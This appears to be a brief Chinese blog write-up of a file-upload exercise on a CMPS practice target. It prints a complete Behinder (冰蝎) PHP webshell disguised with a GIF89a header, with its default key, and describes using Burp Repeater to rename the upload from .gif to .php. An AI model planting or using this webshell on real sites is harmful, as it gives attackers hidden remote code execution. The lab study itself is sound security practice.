CMPS靶场文件上传复现

154 阅读1分钟

image.png

上传冰蝎webshell

GIF89a
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

image.png

开启burp 点击 保存内容

image.png

抓包发送到repeater

把 gif 改为php 并发送包

image.png

然后放掉这个包 关闭抓包

image.png

不然会多一个gif的图片文件

image.png

因为cmps上传成功并没有返回路径给我们, 要找到我们需要的php 文件 开启F12 找到code 状态200的php文件 image.png

image.png

image.png

image.png

成功